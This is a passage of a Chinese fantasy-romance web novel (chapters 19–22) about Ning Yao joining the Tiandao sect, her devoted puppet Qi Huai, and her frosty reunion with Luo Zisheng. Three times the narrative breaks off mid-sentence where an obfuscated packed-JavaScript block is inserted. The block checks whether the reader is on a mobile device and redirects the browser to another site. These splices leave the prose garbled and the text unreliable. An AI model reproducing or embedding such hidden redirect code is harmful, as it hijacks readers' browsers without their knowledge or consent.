乖乖的傀儡一只了。 宁瑶扬唇一笑。 数道流光划过天际,众人转眼便落在青云广场上。 广袖白裙的丹峰峰主荷钰抱臂而立,锐利目光落在宁瑶身侧:“这位是?” 宁瑶上前一步,坦然解释:“这是我的傀儡,随我一起来了。” 祁淮则立于她一旁静看她,唇角扬起似有若无的笑。 宗主岳伍捋着黑胡须,微亮的目光在宁瑶身上停留片刻,忽然笑道:“不过是个孩子,带个傀儡作陪而已,由着她吧。” 天道宗并无先例,这偏袒太过明显,其他几位长老面面相觑,到底没再说什么。 许多长老陆续将早先选中的弟子收入门下,灵根稍差的便安排到外门。 轮到宁瑶时,几位长老交换了个心照不宣的眼神。 五灵根的资质,再加上那块木牌的来历,他们心里都跟明镜似的。 宗主不过是给个顺水人情,至于内门外门,自然由他们拿捏。 “不若分去丹峰外门,好歹小姑娘练炼丹药,哪怕五灵根的资质再差些,也适合啊。” “我丹峰外门弟子已众多了,不然依我之见,送去他们兽峰最合适……” 长老你一嘴我一嘴,虽都没明说,但话里话外仍是嫌弃宁瑶的五灵根资质。 宁瑶似毫无察觉,只等岳伍发话。 “小丫头,你自己想去哪一峰?”岳伍笑得慈祥,眼角的皱纹舒展开来。 宁瑶虽觉得他热情有些突兀,但还是眉眼一弯,朝诸位长老不失礼数地行了个礼。 洛子晟是宗主亲传,是冰系法修,云冉冉入了丹峰,夜烁卿去了阵峰。 若是不想卷入那堆麻烦事里凑,最好躲得远远的。 “弟子想去……”她未说完,只听见角落里忽然传来窸窣响动。 那个一直瘫在椅子里打盹的醉酒老头慢悠悠坐直身子,因坐在最偏的角落,险些叫人忘了他的存在。 他掸了掸衣襟上不存在的灰尘,抬眸时眼底清亮如雪,哪还有半分醉意。 目光在宁瑶身上停留的刹那,像是发现了什么有趣的物什,唇角似笑非笑。 “哎呦,小丫头,要不考虑考虑宗主一脉?老夫瞧着他座下,净是些上房揭瓦的猴子,正缺个你这样水灵的小姑娘镇场子。单灵根的好苗子,可不敢埋没在寻常山头。” 其他峰主,他居然敢说是寻常山头? 她喉间一哽,暗惊老者眼力毒辣,一眼看破她的单灵根。 19. 第19章 其他长老大意之下未用神识细瞧,情况一刹那反转,也让在场人都措手不及。 宁瑶极快稳住心神,规规矩矩地行了个晚辈礼:“多谢前辈指点。” 老者捋须轻笑,目光审视地瞧过她身旁阴郁少年,目光顿了顿。 怪哉,他竟看不透这小子根底,看起来确实是个傀儡无疑,不过他本能觉察出古怪之点,却有说不上来。 “小丫头,你可愿入我内门?”岳伍在其他长老反悔前适时开口,眼底压着一丝惊喜。 他惊讶于老者亲自发话,本是凑个热闹,今年收有一冰灵根的关门弟子,竟没想到宁瑶如今也是单灵根,还是与那人如出一辙的火灵根。 怎么不算是“双喜临门”? 岳伍抚掌大笑,当即拍板决定收下宁瑶为徒。 宁瑶脑中警铃大作,不想遇上洛子晟,偏偏阴差阳错撞上去了…… 宁瑶暗自咬牙腹诽,抬头时却依然是明媚的笑颜:“弟子宁瑶,拜见师尊。” 角落里传来老者满意的笑声,连那捋胡须的动作都透着一股“老夫真机智”的得意。 宁瑶盯着他那把雪白的长胡子,真想给它系个蝴蝶结,好叫这老头说清楚,到底从哪儿看出她适合去宗主那儿的? 其他长老顿时有些拉不下脸,不过忌惮老者,竟无一人开口。 岳伍亲赠了内门玉牌,内门玉佩形似一片雪白晶莹的花瓣,触手生温。 宁瑶双手接过,垂眸退至一旁站定,借着捋发梢的动作,悄悄瞥看老者,对他身份起了好奇。 待到诸事尘埃已定,跟着岳伍回到宗主所在的天道峰,她仍是觉得脚步发飘。 若非身侧傀儡的铃音不觉,她差点以为自己是在做梦。 原著里她这会儿该在器峰,成了个憋着一肚子坏水,且名不经传的外门弟子。现在摇身一变,却成了宗主关门的小师妹。 这剧情崩得她心里咯噔一跳。 真不知是好是坏。 岳伍亲自将宁瑶送到天道宗安排的院落,未踏进院门,便觉周身被浓郁的灵气包裹。聚灵阵位于院落之下,呼吸间尽是清润气息,叫人神清气爽。 他侧身示意一直静默跟随在旁的青年上前,青年一身内门弟子的雪白袍服,身形修长挺拔,面容如玉。 宁瑶抬眼一瞧,认出正是入门时接引他们去广场的师兄。 “这是青川,我座下大弟子,往后便是你大师兄了。”岳伍语气随和,唇角噙着温和的笑,“宗门里若有不便之处,尽可寻他。” 宁瑶弯起亮眸,从善如流地脆生生喊道,“见过青师兄。” 青川温润一笑,似一缕春风般和煦,“小师妹日后你我便是同门,不必拘泥小节。” 祁淮悄无声息地向前挪了半步,像一道被遗忘的影子,无声地贴近宁瑶。银蓝面具下,那双阴郁的眸子一眨不眨地盯着青川。 ——她今日对哪个不相干的人,笑的次数都比对他的多。 这个认知让祁淮胸口发闷,说不清道不明的怨气在胸腔里翻涌。 祁淮垂下眼睫,遮住眼底翻腾的暗色,眸光一暗。 岳伍借此机会问起她灵根之事。 宁瑶依照先前准备的说辞,只道是家中长辈费心求来的洗灵丹,洗去了其他四灵根。 岳伍抚须点头,并未深究,“如此可谓是难得机缘,你且好好休息,慢慢适应。”说完便带着青川一同离去。 宁瑶目送二人身影消失在山道尽头,她一直端着架子的肩膀,才几不可察地松了下来。 “祁淮,我不行了,好累了呀,端不了一点。” 祁淮唇边掠过一丝难以察觉的弧度,侧身推开虚掩的木门,“主人请歇息。” 宁瑶踏进院内,目光扫过青石小径旁摇曳的花丛,终于长长舒了口气。 总算有个能喘气的地方了。 她歪倒在葡萄架下的摇椅里,余光望着祁淮忙碌的身影,腰链随着他的纤细的腰身动作晃动。 “祁淮,你过来。” 少年依言单膝点地蹲在她面前,宁瑶伸手摘掉他脸上的银蓝面具塞给他,“这儿又没外人。” 祁淮垂眸抚过面具上镂刻的狼牙纹路,指尖在獠牙处流连,抬眼时仍是温顺模样,“主人往后有何打算?” 宁瑶忽然凑近他,一双妍丽的亮眸似有星辰。 “当然是——”她眨眨眼一笑,摇椅随着起身的动作吱呀作响,“好好修炼,顺便带你吃香喝辣呀。” “一切听主人安排。”祁淮被她这般有趣情态逗的呼吸一滞,微微拖长尾音,弯唇起身,继续收拾。 宁瑶伸了个懒腰,忽然想起原著里提过内门弟子院落都配有独立灵池。 兴致勃勃摸到浴房,果然瞧见氤氲着灵气的池水,三下五除二褪去衣衫泡进水中。 温热的灵泉包裹全身,疲惫感争先恐后涌上来,偏生丹田处还窜起阵阵热意。 她懒洋洋趴在池边,被蒸得脸颊绯红,不知不觉昏昏沉沉陷入了浅眠。 祁淮收拾妥当已是半刻钟后,他分神细听里间许久未有动静,心头一紧,立刻上前敲了敲门,“主人,主人?” 回应他的只有水声。 少年眼神一凛,推门而入。 只见宁瑶歪在池边,秀眉紧蹙,皱着小脸,浑身肌肤如一捧雪中偏透出淡淡绯色。 祁淮呼吸一滞,指节骤然攥得发白,瞬移般掠到池边将人捞起。 水珠簌簌滚落。 横在少女后颈的手臂绷紧,另一手扯过旁边搭着的浅黄色外衫将她裹住。 浸湿的薄纱紧贴身子,若隐若现透出底下春光。 怀中人双颊泛着不正常的红晕,周身诱人的馨香被水汽蒸腾得愈发浓郁,争先恐后转入鼻翼。 祁淮迷离了刹那。 他垂眸不再掩饰愈发深邃的眸色,单手从她的膝弯穿过,将人往胸口带了带。 掌心触及白皙皓腕,他没忍住收紧了力道,在凝脂般的肌肤上留下浅红指痕。 脉象紊乱,她体内灵力流窜。 肌肤交握处灵力流转入体,宁瑶如被顺毛的猫在他怀里蹭了蹭,发出一声嘤咛。 整张脸埋在他胸膛。 宁瑶的耳边传来一声声心跳,从沉稳缓慢逐渐变得急促。 咚咚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16541931|185801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咚地…… 活像在她脑子里敲起了毫无节律而躁动的鼓点。 宁瑶微蹙眉,不满地抬手轻拍在“震源”上。 有弹性,触感紧实,随着她的触碰还瞬间绷紧。 “吵……”宁瑶昏昏沉沉地嘟囔,“安分……”话没说完,她已被舒服的灵力安抚,脑袋一歪,彻底睡去。 在她毫无征兆地动作下,祁淮身形僵住。 隔着衣料那随意一拍,像是在他心口点燃了一簇火苗。 灼热感迅速蔓延,带来一阵陌生的战栗,随着热意蔓延到全身。 阴郁的眸底暗潮涌动。平生头一次,祁淮生出莫名的渴望。 宁瑶能再碰他一次,将那古怪的战栗延续。 可他又隐隐畏惧,畏惧这失控的陌生异样。 祁淮垂下眸,怀中少女早已呼吸均匀,睡得不知今夕何夕。 徒留他一人,在这突如其来的燥热里。 他浑身燥热未消,反似愈演愈烈。 祁淮呼吸发紧,臂弯收力,几乎是小跑着将宁瑶抱进卧房。 可当真要将人放下时,他的动作陡然放慢,透出一股刻意压制的迟滞。 像是不舍。 又像是挣扎。 宁瑶甫一沾到柔软的床铺,便自发自动地滚进最舒服的位置,手脚舒展地摊开,半湿的长发披散,她惬意地蹭了蹭锦被。 微湿的外衫紧紧贴着身躯,隐约透出雪白的肌肤。 祁淮盯着看了片刻,后知后觉地意识到得先帮宁瑶把湿掉的外衫褪下。 他伸出手,攥紧拳头。 再试一次,攥紧拳头,指节绷得发白。 良久,他泄气般微歪头,银饰细碎叮铃,响个不停。 下意识摩挲着腰间的四角铃铛,祁淮呼吸微窒,最终屏住气息小心翼翼地捏起湿衣一角。 屈起的指节不可避免地擦过她颈侧温热的肌肤,触感细腻,他指尖发颤,带着触及的兴奋。 脸颊漫上一层薄红,祁淮的视线落下,唇角忽的扬起一抹略带病态的笑意。 可心头陌生的焦躁,他索性闭上眼,运转灵力将她的外衫烘干。 做完这一切,祁淮拉过锦被将宁瑶严严实实盖好,动作却有着难得的慌乱。 见宁瑶没有苏醒的迹象,他实在满意地看着她。 目光触及宁瑶露在锦被外的一截手腕,鬼使神差地轻轻捧起那只手,按在自己心口,学着她刚刚的扬起轻轻拍了一下。 在苗疆,人们说他是怪物,是神明,唯独不算个活生生的“人”。 可此刻,当她温热的手心贴上胸膛,身形微微发颤,那是从未有之的亢奋。 那颗常年缓滞如死水的心,破天荒地搏动急促了两下。 他清晰感觉到了跳动加速。 祁淮便像是得了什么新奇玩意,好奇地重新将她的手拿起、放下,又忍不住再次贴回原处。 好乖。 像是把小猫的肉垫靠在心口。 指尖下的暖意无息蔓延,他眼底阴郁也悄然消散。 可还差点什么…… 这种感觉消失了。 20. 第20章 宁瑶睡得不太踏实。 梦里自己又变成生于灵池中一株灵花,有人正慢条斯理地触碰她的……叶子? 她迷迷糊糊地腹诽:这人今日转性了,不啃她的花瓣,专盯着她叶子薅? 想得美…… 宁瑶下意识想把被捏住的枝叶抽回来藏好,可那力道不依不饶,缠得紧。 她恼得用叶片拍了过去,却被对方顺势捉住,按在了一处温热的地方。 掌心下是逐渐急促的心跳,从轻缓逐渐变得急促,仿佛将她整朵花都裹挟进这躁动的节拍里。 祁淮呼吸沉重,眼尾透着几分燥意的红。 他没忍住扯松了衣襟,将她微凉的手紧紧贴在自己起伏的胸口,眼底翻涌着暗色仿佛要将她吞噬。 宁瑶似有所感在他怀里缩了缩肩膀,泛着不正常红晕的脸颊贴近,俯身时视线落在宁瑶后颈快消散的印记。 他凑近逐渐加深,辗转厮磨至莹白小巧的耳垂,不轻不重地咬了一下。 梦中的灵花,敏感地颤了颤。 宁瑶试图蜷缩起来手保护自己,却反倒让枝叶更清晰地感受到触碰。 这次不再是轻柔的牵扯,而是带着湿润的暖意,仿佛露珠缓缓滚过叶面。 现实里,祁淮此刻仍保持着将宁瑶拥在怀中的姿势,执起她方才拍过自己心口的右手,无声地勾起唇角。 低头唇瓣轻蹭她的指尖,若有似无地摩挲着,像是在回味她曾经某个不经意的动作。 眸色加深,微歪头露出个恶劣的笑,轻轻咬了下柔软的指尖。 望着怀中人毫无防备的睡颜,眼底翻涌的阴郁渐渐被一股难以言喻的满足取代。 他调整了下姿势,让她睡得更舒服些,随后便一动不动地看了她许久。 晨光透过木窗,室内染上一层暖色。 宁瑶意识尚未回笼,只觉得指尖传来异样的触感。 迷迷糊糊抬眸一看,睡意全无。 她整个人蜷在祁淮怀中,一只手抵着他结实的胸膛上,另一只手还牢牢环着他劲瘦的腰身。 少年垂眸望来,深邃的墨色瞳孔里映出她怔忪的模样。 “主人醒了。” 祁淮声音带着特有的沙哑,她听着有些好听了。 “嗯,昨晚多谢了。”宁瑶干笑两声,视线飘忽着掠过惊为天人的脸,暗叹自己审美不错的同时,垂眸去掀锦被。 她只低头瞥了一眼,猛地将被子拽回下巴处。 很好。 好得很。 身为主人的威严,身为郡主的体统——碎了…… 拼都拼不起来。 身上这件浅黄色外衫分明是祁淮的手笔。 宁瑶脑袋轰的一声,从未有过的热血直往脸上涌。 她哪怕明知祁淮只是个傀儡,可少年的触感,手里这温度,与活人别无二致。 “咳咳……”急中生智地轻咳一声,试图掩饰涨红的脸颊,可她忘了泛红的耳尖,早已出卖了自己。 不过…… 宁瑶抬眸打量身侧安静如画的少年,不得不承认,抱着他“人形抱枕”,闻着他周身草木清香,睡得确实舒服。 九幽灵火体质每逢夜晚入睡,会自发吸纳灵气,致使她周身时常燥热难耐。 偏生祁淮体温异于常人,偏低,难怪她睡梦中会不自觉贴上去。 自我开解一番,宁瑶瞬间觉得昨夜的行径合情合理了许多。 这脸颊热意才算真褪去。 宁瑶由着祁淮像往常一样为她洗漱梳头,傀儡少年指尖穿过发丝,力度恰到好处。 宁瑶慵懒的靠在椅背,盯着铜镜里晃动的倒影走了神。 既然要在天道峰混下去,第一天的表面功夫可不能马虎。 “得先去摸摸天道峰的底细。” 她随手挑起一支玉兰发簪,在指尖转了个圈递给祁淮,“对了,今日好歹是我入宗门第一天,礼数得做足。备四样……不,三样就好,挑体面的。” 她轻笑看向镜中垂眸编发的祁淮,“总得会会那几位师兄。”至于洛子晟的那份,她才不凑他的眼前去了。 “知晓了,主人。” 岳伍宗主座下五位亲传,除却老四洛子晟,昨日她已见过大师兄青川,还剩二位。 宁瑶默默回忆,在心底给这三师兄和洛子晟等同,打了大大的叉。 这位三师兄,在限制文原著里为女主一见钟情。 她记得清清楚楚,这人先是把“她”逼到跳崖,转头就在女主面前演了出苦肉计,自导自演坠崖装可怜。 想到这儿,宁瑶噗嗤笑出声,想象不出来一个一米八大男人装可怜的样子。 真是呵呵了。 算了算了,这些与她无关。 祁淮正系发带的手微微一顿,幽深的眸落在镜中,描摹她的笑颜。 不明白她去见几位师兄有何好笑,他很是不经意地问:“主人,可想到什么有趣之事?” “没事儿。”宁瑶摆摆手,将他备好的热茶一饮而尽,“你看好家,我去去就回。” 院落外的传送阵泛着莹莹白光,这是专为新弟子往来所设。 宁瑶理了理裙摆,确认仪态无错,踏进光阵,唇角扬起恰到好处的笑容。 这场师门友好的戏码,她可要好好“表现”。 宁瑶甫一落地,传送阵的微光未散,她站在无极殿的白玉石阶前。 刚踏上白玉石阶,迎面遇上了青川,他身旁还跟着两位师兄。 为首的大师兄青川温润如玉,而他身侧—— 一位玄色束袖锦衣,勾勒出挺拔如竹的修长身形,二师兄晏华持剑而立。 冷峻的面上看不出情绪,只在宁瑶望去时略一颔首。霜雪似的目光掠过她的面容,又淡淡移开。 一位身着绣金暗纹锦袍,长相白白净净,眉心红痣一点反而平添几分神性,漂亮的女装都可行的俊俏少年此刻抱着手臂,将脸侧向一边。 三师兄明御察觉到她的视线,飞来个冷飕飕的眼神。 这位,对她说不上的敌意,这是为何? 宁瑶心底无语,莫名其妙…… 面上毫无察觉似的,偏漾起个明媚笑颜。 伸手不打笑脸人,这道理在哪都通用。 “小师妹昨日歇得可好?”青川笑着,目光触及鹅黄裙摆,乖乖巧巧一只,小师妹和几位师弟就是不同。 他眼神愈发温和,顺手递过一只绣有云纹的储物袋,“我们给师妹备了些辟谷丹与防身法器。既入同门,日后有何难处,尽管来寻我们。” “哼,女人就是麻烦。”明御忽地从鼻子里挤出轻嗤,指尖不耐烦地叩着手臂。 一开口就很典呀。 青川蹙眉,对宁瑶面上时还是温柔笑着,“别听他的,你三师兄是刀子嘴豆腐心。” “明白,想必这位师兄定然是口是心非,若我真遇到难处,你一定不会坐视不管。”宁瑶接了话,笑得眉眼弯弯,将储物袋收进袖中。 明御被这两人一唱一和说得耳根发烫,却仍强撑着咬牙冷笑一声:“我可不……” 宁瑶眼疾手快掏出三只粉黛色储物袋,利落地塞进他们怀里:“师妹准备的小小见面礼,还请师兄们不要嫌弃。” 青川与晏华下意识用神识一探,同时怔住。向来面无表情的晏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16548559|185801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 华竟也瞳孔微震,看得明御暗自吃惊。 这常年不变的冰块脸,多少年没见过他这般“失态”。 他实在受不了他们这番作态,冷哼着,不甘示弱地扯开自己那只储物袋,“能有什么好东西……”他的话说到一半,最后字眼卡在喉头。 只见袋内灵石堆叠如山,莹润光华几乎要灼伤他的眼睛。 知道自己话说早了。 “这……咳。”明御喉结滚动,半晌才挤出一声轻咳,迅速打下神识印记将储物袋收进袖中,动作行云流水。 宁瑶瞧着三人精彩的表情,祁淮准备的这份“薄礼”果然立竿见影,正是她预期的效果。 “师妹还要去拜见师尊,先行告退。”她笑着拱手,转身踏上白玉台阶。 躲在暗处跟随的祁淮,眸光良久落在她嘴角难以掩饰的弧度上,指尖拂过四角铃铛,露出个意味深长的笑。 眸色跟随远去的人影逐渐幽深,转身离去。 宁瑶似有所感回眸。 又是这一种被阴暗窥伺的感觉。 潮湿,晦暗。 奈何周围并无异常,宁瑶摇了摇脑袋,继续提裙拾阶而上。 * 岳伍正立在无极殿中,对一幅展开的画卷细观。 远远感知宁瑶的脚步声由远及近,指尖微顿,利落地将画卷一卷,顺手置于书案一侧,恰在抬手可及之处。 宁瑶迈步进殿,规规矩矩地行了一礼:“弟子见过师尊。” “来得正好,”岳伍转身,笑容和煦,他将一只沉甸甸的储物袋飞进她怀里。 “这些你收着。”宁瑶一瞧,里面满满当当地塞满了各类天材地宝。末了,岳伍又另取了几卷纸页泛黄的火系古籍,一并递上。 这般热情,真像是自家疼爱晚辈的长辈。 宁瑶笑着眉眼一弯,从善如流地双手接过,“多谢师尊。” “你四师兄前些时日刚闭关。”岳伍笑意地捋了捋黑胡,得知她见过几位师兄,有意说道。 宁瑶一听心中乐滋滋,面上却是扬起一抹恰到好处的遗憾神色,“哦,原来如此。” 岳伍突然想起什么,“你们同出自羽安国的皇城?” 宁瑶唇角的笑容一僵,皲裂了一瞬,指节攥了攥又舒展,“是曾有过数面之缘。” “既如此,待你洛师兄出关,往后正好互相照应。”岳伍笑着说完,觉得有几分道理点头。 宁瑶垂眸掩去眼底波澜。 照应?谁要洛子晟照应啊。 他可不像会照应人的,倒像对她这“女配”索命的。 “知道了,师尊。”宁瑶笑了两下,又怕岳伍多说什么,赶紧溜回了小院。 几日光阴,宁瑶入了天道宗,除了每日几位师兄轮流给她授课,其余时间她便吃吃该喝喝。 修炼打坐,闲暇之余,她便支着下巴,瞧着祁淮在院里侍弄花草。 她至今没想明白,一个傀儡,怎么偏对种花种草生了喜欢? 见他每日雷打不动地在这小院里折腾,也不明白他种的是些花草,宁瑶懒得深究,索性由着祁淮放手去做。 她前几日给他新裁的深蓝长袍,此刻正合身地衬在他身上,银线绣出的紫纹在衣袂间若隐若现。 系在他腰间的银链衬得他宽肩窄腰,实在是个好风光。 “不错,很衬你。”宁瑶满意地点头,说完便转身回屋。 祁淮停下手中木勺,眸光注视着宁瑶消失,意有所指地拖长尾音,不管她是否听清了:“多谢主人。” 一双潮湿的漆黑眸子,追随着那道背影。 如蛰伏在暗处的兽,悄无声息。 21. 第21章 时光转瞬,青师兄恰好传信来说天道宗每逢初一,弟子们都能去丹峰领补灵丹,内门弟子可能领双份。 这等好事,宁瑶自然不能错过。 她整理完,确认仪态,正要出门,余光瞥见安静立在廊下的身影。 “祁淮,其实你不用跟着我。”宁瑶侧过头,忍不住对祁淮又说了一次。 少年眼睫半垂,暗藏起的执拗简直呼之欲出,他俯身平视,唇角扬起恰到好处的笑:“主人在哪,祁淮就在哪。” 宁瑶揉揉眉心,忽地想起“宠物随主”的俗语。 难道傀儡也会继承主人的性子? 可这跟得也太勤了些。 推开木门打算出去,身后跟着熟悉的铃音。 宁瑶回头一看,他已戴好了面具。她嘱咐一次,祁淮便记得分毫不差。 仔细想来,这一个多月里,无论是青川师兄授课还是她自己修炼,祁淮几乎是寸步不离。 他原本还在侍弄花草,只要她一出门,便全都搁下。 宁瑶居然就这么习惯了。 她腹诽纳闷着,自己怎么可以这么理所当然地理由,变得“懒了”。 习惯祁淮默默地跟在一步之外,习惯他备好的温热灵茶、可口糕点,习惯他无声的陪伴。 最重要的是,傀儡没有脾气。 哪怕是很琐碎的小事,祁淮都做得心甘情愿。 天天被这样细致地照料着,宁瑶也很难不生出安心与欢喜来。 有人,有苦硬吃,有福不享,有福后享。 她不一样,只要有一点福,当初就享受完了。 宁瑶踏进传送阵,回眸对祁淮一笑,“算了,一起走吧。” 铃音轻响,祁淮安静地跟上,面具下的唇角无声地勾起。 传送至丹峰后,宁瑶特意让祁淮在山脚等候。 领取补灵丹的值守弟子办事极为严谨,需逐一登记名册方可发放。 天道宗弟子们大多赶在清晨来,图个尽早领取、尽快修炼。 宁瑶反其道而行,挑了午后入峰,正好避开人流。 她刚领完丹药踏出殿门,就见一道身着浅蓝云纹长袍的身影迎面走来。 少年身姿挺拔,面容皎若明月,气质绝尘,漂亮起来雌雄莫辨。 待看清那张熟悉的面容,宁瑶几乎是下意识扬起笑容。 可就在抬手示意的瞬间,她发觉对方眼尾缺少两颗标志性的泪痣,脸颊不见她亲手系上的面具。 宁瑶的笑意凝在唇角,举到半空的手生生顿住,若无其事地假装整理鬓发,打算装作不曾看见般绕行。 谁知这人径直停在她面前,垂眸打量,眼底讶异:“瑶瑶?” 过分亲昵的称呼让宁瑶脊背微僵。 洛子晟带着审问的意味,语气里是若有似无的试探,道:“为何会来天道宗?没想到我们竟拜入了同一位师尊门下。” 洛子晟闭关初醒,便从青师兄处得知新来的小师妹。 更想象不出,她竟是宁瑶。 他此刻望着她,眸色渐沉。 想到她有意为之,拜师后未曾留下只字片语;想到青师兄说宁瑶师妹赠了每人一整袋灵石,唯独半句不曾提起他。 他眸色更暗。 记忆里的宁瑶,从前对他算得上热络,笑靥如花望向自己时,满眼是他的存在。 宁瑶无语凝噎,这质问般的语气,仿佛她做了什么大逆不道的事。 心头火起,从前“记忆”如潮水翻涌,某种难以言喻的委屈与怒火碰撞着。 宁瑶暗暗攥紧拳头,后撤半步,抬起妍丽的眸:“宗门选拔光明正大,洛师兄有问题?” 不知哪个字刺中了他,洛子晟神色微变。 懒得周旋,她侧身就要离开。 宁瑶设想过无数重逢场景,刀剑相向或是横眉冷对,唯独不该是这般令人窒息的平静。 擦肩而过的刹那,洛子晟突然伸手攥住她手腕。 温热的触感传来时,她忽然想起祁淮那双总是沁着凉意的手。 见她眼神中的疏离,洛子晟心头莫名一紧,忍不住解释道:“往日,你不曾这样唤我……” “那时,你我还没进宗门。”宁瑶简直无语了。 不软不硬的顶撞非但没让洛子晟松手,他的指节反而收得更紧。 抬眼对上与祁淮几乎一模一样的脸,宁瑶心头莫名窜起一股无名火:“洛、师、兄。” 她一字一顿,手下暗暗使力,灵力已在指尖流转,“请你放手。” “你……”洛子晟刚要开口的话头,被一声清脆的呼唤骤然截断。 “子晟师兄!” 宁瑶腕上一松,洛子晟几乎下意识甩开了她的手。 她暗暗松了口气,心底那股挥之不去的憋闷却骗不了人。 定是那些从前的“记忆”又在作祟。 宁瑶深吸一口气,强迫自己冷静,转头望向声音来处。 云冉冉一路小跑,由远及近。白皙秀美的脸颊浮着一层淡粉,气息微喘。 她并非从大殿出来,显然是专程在此等候。 “子晟师兄,你总算出关了。”她声音里带着显而易见的雀跃,仰起脸看他时脸颊更红了。她知晓洛子晟出关后,一定会来丹峰领取补灵丹。 宁瑶见此,无聊地拨弄着腰间储物玉佩的金色流苏,面色渐渐冷了下来。 方才差点就冲动了。 按天道宗门规,同门私斗可是大忌。 若真动了手,与这男主结仇事小,被周围这么多双眼睛盯着,落个坏名声才真麻烦。 她可不想刚来就成众矢之的。 洛子晟见她面色不愉,只道是因云冉冉的到来所致,心头莫名一定。 她对自己,终究是不同的。 方才那股烦躁竟奇异地平复,他冷静下来,眼底反而掠过一丝难以察觉的意味。 “云师妹,许久不见。”洛子晟唇角微扬,手势极其自然地虚虚抚过云冉冉的发顶,目光不由自主地飘向宁瑶。 这动作着实亲昵。 就连当初那个“她”,“追”在洛子晟身后时,也未曾得过这般待遇。 若是换作记忆里未觉醒的宁瑶,此刻怕是早已气得跳脚,定然少不了一番冷嘲热讽。 毕竟,她可不是什么忍气吞声的性子。 此刻,宁瑶瞥了一眼,强行收回目光,厌恶烦闷的火气,蹭蹭的往上冒。 “我就不打扰洛师兄与云师妹叙旧了,告辞。” 宁瑶这般浑不在意的模样,神色极为淡漠,与洛子晟预想的反应截然不同。 宁瑶大步离开,未再注意他们到底是什么表情。 虚抚的手落下,洛子晟心底刚刚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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宁瑶脚步不停,却没有直接回住处,而是拐向天道峰后山的瀑布。 清泉击石,水雾氤氲。 她毫无形象地脱掉鞋袜,瞅了眼不深的池水,坐在石头上,径直将双脚浸入其中。 清冽触感顺着足尖漫上,四周充盈的灵气在经脉间流转。 奔流的水,似乎真有涤荡心尘的奇效,将她的那些有的、没的烦闷,通通带向远方。 “主人,这是作甚?” 宁瑶没解释,反而仰起脸:“祁淮,你要不要也泡一泡?” 这是一个询问,而非她的命令。 祁淮脱了鞋袜,挨着她坐下。他稍一偏头,便能闻到宁瑶身上的馨香。 “如今天热正好冷泡,”宁瑶晃着脚丫,激起些许水花,“等天冷了,咱们换热水烫脚,那才叫舒服。” 她说着,自己先弯了眼睛,心头郁结似乎散了些。 “我也不是非要你懂,就是今天做事差点上头。”她歪头想了想,这个词祁淮究竟懂不懂,“做了些莫名其妙的事,祁淮你别往心里去。” “主人,我很乐意。” 宁瑶微微一怔,侧过头看他:“乐意什么?” 祁淮摩挲过腰间四角铃铛,侧眸看去,眼神透着很不一样的专注:“乐意接纳主人的所有情绪。” 这般鲜活的她,烦忧、恼怒,还是一瞬的失态,都有些令他新奇。 22. 第22章 宁瑶怔怔抬眸,一时间竟忘了回神。 他的话就这般字字敲在她心头,若是旁人说说她不一定相信。 他是祁淮,是她的傀儡…… 待宁瑶回过神时,指尖早已不由自主地触上那张银蓝色面具,鬼使神差地给他取了下来。 少年昳丽漂亮的容颜一点点映入眼帘,小辫上的银铃叮当作响。 叮铃叮铃…… 宁瑶倾身凑近,两人本是并肩坐在青石上,呼吸顷刻间交缠在一起。 祁淮抑制不住地向前小幅度探身,漆黑的眼睛直勾勾的,尾音带着一丝若有若无的抖动:“主人……” 心脏突兀地快跳两拍。 宁瑶的眸光干净,细细描摹过祁淮精致的眉眼,抬手摩挲在眼尾下那两颗小痣,为这张脸平添几分说不清的蛊惑。 宁瑶猛地回神,指尖像被什么烫到般迅速收回。扭头望向飞泻的瀑布,悄悄攥紧拳头,喉咙不自觉地发紧。 一股说不清、道不明的微妙情绪。 似乎她并不会将祁淮和洛子晟混为一谈。 “两颗泪痣生得极好,”宁瑶微扬唇角,笑着故意反问。“答应过我的话,你可都记牢了?” 问这话,宁瑶其实已记不清几回了。 亏得祁淮只是个傀儡,是个死物,才能不留余地说的好听的同时,做的也让宁瑶满意至极。 祁淮视线追着宁瑶收回的指尖,下颌微仰,似无意地延长片刻触碰。便随她转首望向瀑布,余光则悄然落在她身上。 “这些话,我字字在心。” 宁瑶笑着弯唇,心头阴云散了大半。 祁淮和洛子晟本就不同,他可更为顺眼。 且将与洛子晟那些烦心事抛在脑后,今日倒也算得上岁月静好。 宁瑶正晃着光洁的双足,欢快地拨弄水花,准备起身收拾,却听一道嗓音从远喊着,生怕她听不清:“宁、师、妹——” 夜烁卿这声称,呼唤得很是顺口。 他依旧执着那把招摇的油纸伞,俊俏长相,藕粉长袍在山色间格外扎眼,十足的花孔雀。 任是隔着重峦叠翠的山间小路,都能一眼瞧见这抹颜色。 祁淮背对着来人,不动声色地戴回面具,宽大衣摆悄然掩盖宁瑶浸在水中的双足。 瞥向夜烁卿的目光里,掠过一丝寒凉的阴郁。 真是哪都有他…… 真该让小黑蛇将这人连皮带骨吞个干净,便不会碍眼了。 夜烁卿浑然未觉她一旁祁淮古怪眼神,还一副笑意盈盈看着宁瑶,加快了脚下步伐。 